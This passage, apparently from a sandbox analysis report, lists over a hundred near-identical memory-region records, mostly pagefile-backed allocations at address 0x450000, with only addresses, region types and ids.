filename = "" Region: id = 11999 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12000 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12001 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12002 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12003 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12004 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12005 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12006 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12007 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12008 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12009 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12010 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12011 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12012 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12013 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12014 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12015 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12016 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12017 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12018 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12019 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12020 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12021 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12022 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12023 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12024 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12025 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12026 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12027 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12028 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12029 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12030 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12031 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12032 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12033 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12034 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12035 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12036 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12037 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12038 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12039 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12040 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12041 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12042 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12043 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12044 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12045 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12046 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12047 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12048 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12049 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12050 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12051 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12052 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12053 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12054 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12055 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12056 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12057 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12058 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12059 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12060 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12061 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12062 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12063 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12064 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12065 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12066 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12067 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12068 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12069 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12070 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12071 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12072 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12073 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12074 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12075 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12076 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12077 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12078 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12079 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12080 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12081 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12082 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12083 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12084 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12085 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12086 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12087 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12088 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12089 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12090 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12091 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12092 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12093 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12094 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12095 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12096 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12097 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12098 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12099 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12100 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12101 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12102 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12103 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12104 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12105 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12106 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12107 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12108 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12109 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12110 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12111 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12112 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12113 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12114 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12115 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12116 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12117 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12118 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12119 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12120 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12121 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12122 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12123 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12124 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12125 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12126 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12127 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12128 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12129 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12130 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12131 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12132 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12133 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12134 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12135 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12136 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12137 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12138 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12139 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12140 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12141 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12142 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12143 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12144 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12145 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12146 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12147 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12148 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12149 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12150 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12151 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12152 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12153 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12154 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12155 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12156 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12157 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12158 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12159 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12160 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12161 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12162 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12163 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12164 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12165 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12166 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12167 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12168 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12169 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12170 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12171 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12172 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12173 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12174 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12175 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12176 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12177 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12178 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12179 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12180 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12181 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12182 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12183 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12184 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12185 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12186 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12187 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12188 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12189 